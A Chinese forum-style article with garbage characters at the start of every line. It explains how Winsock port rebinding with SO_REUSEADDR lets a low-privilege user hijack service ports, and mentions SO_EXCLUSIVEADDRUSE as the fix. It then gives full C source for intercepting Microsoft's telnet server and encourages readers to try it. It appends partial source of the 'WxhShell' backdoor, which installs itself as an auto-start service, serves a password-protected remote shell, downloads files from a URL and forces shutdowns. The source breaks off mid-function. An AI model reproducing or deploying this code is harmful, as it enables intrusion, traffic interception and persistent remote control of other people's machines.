在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
8?kP*tmcZ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=},{8fZ4 4T%cTH:.9N saddr.sin_family = AF_INET;
3(C :X1 _F^$aZt?e saddr.sin_addr.s_addr = htonl(INADDR_ANY);
@UV{:]f~e BKX9SL] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
xG8`'SNY 6< >SHw 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|/*pT1(& /LF3O~Go 这意味着什么?意味着可以进行如下的攻击:
C 0>=x{,v ,z G(u 1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%<AS?Ry _[F@1NJ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Qm; BUG] 7OE[RX8!f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
wA631kr SOs,) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
rd">JEK;; nPOO3!<{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Za0gs @$ 06jMj26! 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
M%|f+u & p/3BD&6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[Y$V\h=V d/lffNS= #include
R:f7LRF/\ #include
9T?64t<Ju #include
5uttv:@= #include
6g~+( ({lQ DWORD WINAPI ClientThread(LPVOID lpParam);
{-h, ZdH^ int main()
G5;V.#"Z[ {
LN\[Tmd & WORD wVersionRequested;
;y OD DWORD ret;
MJ\r 4n WSADATA wsaData;
+sRP<as BOOL val;
`s%QeAde SOCKADDR_IN saddr;
/ gu3@@h SOCKADDR_IN scaddr;
!UcOl0"6 int err;
Z%e|*GS{ SOCKET s;
5
q65nF SOCKET sc;
O_AGMW/2+ int caddsize;
<sc\EK HANDLE mt;
x6%#wsvS DWORD tid;
{xToz]YA wVersionRequested = MAKEWORD( 2, 2 );
Ye@t_,)x err = WSAStartup( wVersionRequested, &wsaData );
n,sY\=vB if ( err != 0 ) {
`m, Ki69. printf("error!WSAStartup failed!\n");
N+J>7_k return -1;
s/h7G}Mu }
ul=7>";=| saddr.sin_family = AF_INET;
u7#z^r r)8z#W>s //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
"xn|zB LABNj{=D! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:Y^I]`lR" saddr.sin_port = htons(23);
]u0Jd#@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
a_{6Qdl {
1eD.:_t4 printf("error!socket failed!\n");
aq kix"J return -1;
K:_($X] }
0+j}}; val = TRUE;
fGTOIi@# //SO_REUSEADDR选项就是可以实现端口重绑定的
HY*\ k# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
V7@
{D {
bE4HDq34 printf("error!setsockopt failed!\n");
AerFgQiS return -1;
7wi%j! }
Q;wB{vr$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'F7VM?HBfg //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
%t[K36,p //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
)$_,?*fq: )*D'csGc if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
+v-LL*fa {
|!}wF}iLc) ret=GetLastError();
pX_b6%yX( printf("error!bind failed!\n");
F~R7~ZE return -1;
7kd|K
b( }
OD|1c6+X listen(s,2);
V.2[ F|P;3 while(1)
CL1;Inzl {
tl^m=(ZQ caddsize = sizeof(scaddr);
wDw<KU1UK //接受连接请求
R&Ci/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.[(P if(sc!=INVALID_SOCKET)
T VeJ6 {
+NR n0
z( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
* <q4S(l if(mt==NULL)
~!]m6 / {
Y`^o7'Z2^P printf("Thread Creat Failed!\n");
.CS v|:'1 break;
g`3H(PVg }
&h(g$-l?[ }
$"fzBM?5 CloseHandle(mt);
~6HDW }
e8q4O|I_ closesocket(s);
>3P9 i ;W WSACleanup();
Noz&noq return 0;
}NwN2xTB }
t3>$|}O]t DWORD WINAPI ClientThread(LPVOID lpParam)
=:/>6H1x {
L$hc, SOCKET ss = (SOCKET)lpParam;
R@n5AN( SOCKET sc;
=fWdk\Wv unsigned char buf[4096];
vi|Zit SOCKADDR_IN saddr;
|_nC6; long num;
+nQ!4 DWORD val;
<T4(H[9B DWORD ret;
a.,i.2 //如果是隐藏端口应用的话,可以在此处加一些判断
G=cNzr9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
f[}|rf saddr.sin_family = AF_INET;
<\ETPL,< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
1Z 6SI>p saddr.sin_port = htons(23);
!g2a|g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=UUd8,C/ {
4By]vd<;= printf("error!socket failed!\n");
Spo+@G return -1;
OL9]*G?F }
+* D4( val = 100;
a(|xw if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
MA6P"? {
9U'[88 ret = GetLastError();
,LZ(^u return -1;
W_m!@T"@H }
MS{{R+& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
74]a/'4 {
@d)LRw.I ret = GetLastError();
BKZ v9 return -1;
v.b5iv 5 }
0!_*S ) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
tBv3~Of. {
ETm]o
printf("error!socket connect failed!\n");
D$hQyhz' closesocket(sc);
bpp* closesocket(ss);
u~}%1 return -1;
_:%U_U }
!0Nf9 while(1)
}4vjKSV {
=GTD"*vwr //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_[JkJwPTx //如果是嗅探内容的话,可以再此处进行内容分析和记录
;
8E; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
G_+Ph^ num = recv(ss,buf,4096,0);
.[,6JU% if(num>0)
6|oWaA\gI send(sc,buf,num,0);
}{mG/(LX8 else if(num==0)
045\i[l= break;
p%8v` num = recv(sc,buf,4096,0);
!sG"n&uZq if(num>0)
v:A:37#I send(ss,buf,num,0);
qguVaV4Y else if(num==0)
-#%X3F7/w break;
PGY9*0n }
}$:#+
(17 closesocket(ss);
u<kD} closesocket(sc);
9v$qrM`8 return 0 ;
<soj&f+ }
PI63RH8e H
pFb{ kO+s+ 55
==========================================================
%YCd%lAe, VF=Z` 下边附上一个代码,,WXhSHELL
CO'ar, f?0D%pxc}& ==========================================================
17i$8 /x/4NeD #include "stdafx.h"
N]u2ql& 6Hn)pD#U #include <stdio.h>
m#MlH=- #include <string.h>
agW9Go_F[ #include <windows.h>
_uJVuCc #include <winsock2.h>
Aqu]9M~ #include <winsvc.h>
R+F,H` #include <urlmon.h>
3SFg# jN {Zw* #pragma comment (lib, "Ws2_32.lib")
0d`5Gy_ D% #pragma comment (lib, "urlmon.lib")
M8zE3;5 gD1+]am #define MAX_USER 100 // 最大客户端连接数
cUs L6y #define BUF_SOCK 200 // sock buffer
8T7f[? #define KEY_BUFF 255 // 输入 buffer
Gh=<0WaF= ?} X}# #define REBOOT 0 // 重启
kXEtuO5FUM #define SHUTDOWN 1 // 关机
Of#K:`1@ HT&p{7kFm #define DEF_PORT 5000 // 监听端口
$l#{_~
"m7 '%ebcL #define REG_LEN 16 // 注册表键长度
Efvq?cG& #define SVC_LEN 80 // NT服务名长度
~?-qZ<9/ ctK65h{Eo // 从dll定义API
)2]a8JVf typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
obYn&\6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
KK$ a;/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
]< +3Vw typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
e2bLkb3c %ZuLl( // wxhshell配置信息
yp?w3|`4; struct WSCFG {
hv{87`L'K( int ws_port; // 监听端口
pX^=be_ char ws_passstr[REG_LEN]; // 口令
f)U6p int ws_autoins; // 安装标记, 1=yes 0=no
5}7ISNP;f char ws_regname[REG_LEN]; // 注册表键名
p;e$kg1 char ws_svcname[REG_LEN]; // 服务名
Ph
Ttx(! char ws_svcdisp[SVC_LEN]; // 服务显示名
6J"(xT char ws_svcdesc[SVC_LEN]; // 服务描述信息
X\mz+al>[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
IhwN],-V int ws_downexe; // 下载执行标记, 1=yes 0=no
2!idy]vy_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
P>fKX2eQ- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Wz5=(<{S -_HRqw,Z0 };
j9>TTgy@ ,m3":{G:t. // default Wxhshell configuration
mZE8.` struct WSCFG wscfg={DEF_PORT,
w#<p^CS "xuhuanlingzhe",
?CFoe$M 1,
tJz^DXqAc "Wxhshell",
`1q|F9D "Wxhshell",
]K*GSU "WxhShell Service",
}biCQ*{' "Wrsky Windows CmdShell Service",
MISE C[/ "Please Input Your Password: ",
@sdS0pC 1,
19) !$Hl "
http://www.wrsky.com/wxhshell.exe",
%}ixgs7*c0 "Wxhshell.exe"
^ `je };
^X^,>Z| `yx56 // 消息定义模块
{?y<%@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)gjGG8Ee char *msg_ws_prompt="\n\r? for help\n\r#>";
4gya] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
pkW5D char *msg_ws_ext="\n\rExit.";
VW~Xbyf char *msg_ws_end="\n\rQuit.";
Zsgi{ char *msg_ws_boot="\n\rReboot...";
#?Wo <]i char *msg_ws_poff="\n\rShutdown...";
1EuK,:x char *msg_ws_down="\n\rSave to ";
hRLKb} (s;zRb!4L char *msg_ws_err="\n\rErr!";
9':/Sab:7v char *msg_ws_ok="\n\rOK!";
^1Yo-T(R (Wn
"3
] char ExeFile[MAX_PATH];
l<Lz{)OR int nUser = 0;
LC76 Qi;|k HANDLE handles[MAX_USER];
ho_4fDv int OsIsNt;
smbUu/ k0knPDbHv SERVICE_STATUS serviceStatus;
(qbc;gBy SERVICE_STATUS_HANDLE hServiceStatusHandle;
UC(9Dz *.xZfi_| // 函数声明
ij!*CTG int Install(void);
7G2vYKC' int Uninstall(void);
38"cbHE3 int DownloadFile(char *sURL, SOCKET wsh);
n{3|E3 int Boot(int flag);
L*v93;|s void HideProc(void);
\wFhTJY int GetOsVer(void);
C-r."L int Wxhshell(SOCKET wsl);
K]9tc) void TalkWithClient(void *cs);
rCkYfTYI int CmdShell(SOCKET sock);
=:;YTie int StartFromService(void);
T*8_FR < int StartWxhshell(LPSTR lpCmdLine);
m qpd '/dTqg*W VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
F46O!xb% VOID WINAPI NTServiceHandler( DWORD fdwControl );
l=,.iv=W c9|I4=_K // 数据结构和表定义
zQn//7#-G SERVICE_TABLE_ENTRY DispatchTable[] =
Ae.]F)w_\ {
`P#8(GU {wscfg.ws_svcname, NTServiceMain},
dbg|VoNf {NULL, NULL}
tgc@7 };
We|-5 [1mIdwS // 自我安装
bIq-1
Y( int Install(void)
<jg8y'm@0 {
z}D#WWSxf char svExeFile[MAX_PATH];
@|Z*f\ HKEY key;
yTP[,bM strcpy(svExeFile,ExeFile);
-GK 'V 5vYsA1Z // 如果是win9x系统,修改注册表设为自启动
3/:LYvM< if(!OsIsNt) {
>d'EInSF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qq/_yt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jzQ9zy_ RegCloseKey(key);
Z5yt]-WN& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:C>J-zY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o%$<LaQG5 RegCloseKey(key);
= >P_mPP= return 0;
|HNQ|r_5S }
p
FXd4* }
~T;K-9R }
X4XFu else {
zo/0b/lQ ocq2 // 如果是NT以上系统,安装为系统服务
p?_'|#tz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Y7*'QKz2 if (schSCManager!=0)
9&&kgKKGQ {
m)(SG SC_HANDLE schService = CreateService
LciL/? (
3LT+9ad2d schSCManager,
t
CkoYrvT wscfg.ws_svcname,
kqQphKkL wscfg.ws_svcdisp,
7=L:m7T SERVICE_ALL_ACCESS,
-`,~9y;tx SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
C:WtCAm( SERVICE_AUTO_START,
>aX:gN SERVICE_ERROR_NORMAL,
3KDu!w@ svExeFile,
>t2]Ssi( NULL,
{6-;P#Q0_ NULL,
|+>%o.M&i NULL,
c9
gz!NE NULL,
W<Bxm| NULL
0c%@e2(N );
aB/{ %%o if (schService!=0)
WNCM|VUl {
;G iI'M CloseServiceHandle(schService);
nLzX
Z6JlU CloseServiceHandle(schSCManager);
(N&k}CO]W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
e?_c[`sg strcat(svExeFile,wscfg.ws_svcname);
n$nne6|O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
cC7"J\+r* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
V]+o)A$ RegCloseKey(key);
?3.(Vqwog return 0;
^A:!ni@3 }
AM1/\R }
BDarJY CloseServiceHandle(schSCManager);
`;zu1o }
Xi 1q]ps }
50}.Xm@,BO bjU 2UcI"< return 1;
!&1}w86 }
eA3`]XP.`b 5d)'`hACe // 自我卸载
;5,`Jpca int Uninstall(void)
>OF:"_fh {
xc:`}4 HKEY key;
=1V>Vd?8. -wPuml!hZ| if(!OsIsNt) {
S7@ZtFf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GGFar\
EzW RegDeleteValue(key,wscfg.ws_regname);
!7kAJG g RegCloseKey(key);
:Vu7,o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R^mu%dw)(% RegDeleteValue(key,wscfg.ws_regname);
p~v2XdR RegCloseKey(key);
w0q?\qEX return 0;
KZ367&>b7 }
I{i:B }
yfRUTG }
03i?"MvNo else {
6Cop#kW# n"K {uj)) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
8=ukS_?Vy if (schSCManager!=0)
k)<~nc- {
b/a?\0^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
WHhR)$zC if (schService!=0)
H]T2$'U6 {
R#[QoyJ if(DeleteService(schService)!=0) {
$1Q3Y'Q9 CloseServiceHandle(schService);
F&nMI:h7 CloseServiceHandle(schSCManager);
~Q.8 U3" return 0;
Wl9I`Itg }
a#OhWqu$ CloseServiceHandle(schService);
Vq)|gF[6i }
1FXzAc(c! CloseServiceHandle(schSCManager);
XcJ'm{=
}
,6cbD }
-KJ}.q>upq ` $QzTv return 1;
3:02`;3 }
6T}
CPDRq '&_y*"/c // 从指定url下载文件
Up1$xLSl int DownloadFile(char *sURL, SOCKET wsh)
#XYLVee, {
mcP{-oJ0W HRESULT hr;
: .FfE char seps[]= "/";
SevfxR char *token;
g'd*TBnk char *file;
+Y.uZJ6+ char myURL[MAX_PATH];
#%}u8\q char myFILE[MAX_PATH];
p;c_<>ws-Y IV
3@6t4k strcpy(myURL,sURL);
w|hyU4- ^ token=strtok(myURL,seps);
rH#c:BwSm while(token!=NULL)
Wf+Cc?/4 {
hM1&A file=token;
qxecp2>U token=strtok(NULL,seps);
/64^5DjTh }
toYg$IV *x#&[> GetCurrentDirectory(MAX_PATH,myFILE);
N('S2yfDR strcat(myFILE, "\\");
l9ch strcat(myFILE, file);
7-G'8t send(wsh,myFILE,strlen(myFILE),0);
0Tn|Q9R send(wsh,"...",3,0);
,h5-rw' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
]C!Y~ if(hr==S_OK)
J _[e9 return 0;
R"\ub"] else
C&d"#I return 1;
B'lxlYV1 .9[8H:Fe }
xTksF?u) t3yQ/ // 系统电源模块
8wH41v67F int Boot(int flag)
zDGg\cPj9 {
k_|v)\4B HANDLE hToken;
wr;|\<c TOKEN_PRIVILEGES tkp;
F~d7;x=g 2A18hP`^ if(OsIsNt) {
LK-K_!F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/Mi-lh^j- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9B?t3: tkp.PrivilegeCount = 1;
sgb+@&}9n tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
IW] 841 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
~gLEh tW if(flag==REBOOT) {
#G4~]Qml if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
-XDP-Trk return 0;
u`H@Q&(^wa }
{eD>E(Y@z1 else {
O(
5L2G if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
<*6y`X return 0;
]`i@~Z h\ }
2'UFHiK }
n\8[G[M else {
n[cyK$" if(flag==REBOOT) {
#&`WMLl+8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&Ow?Hd0 return 0;
65e
Wu=T }
Ppo^qb else {
,ovv if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(J;zk b return 0;
E 4$h%5 }
g$^qQs)^N }
$X<<JnsK uB#B\i return 1;
(=3&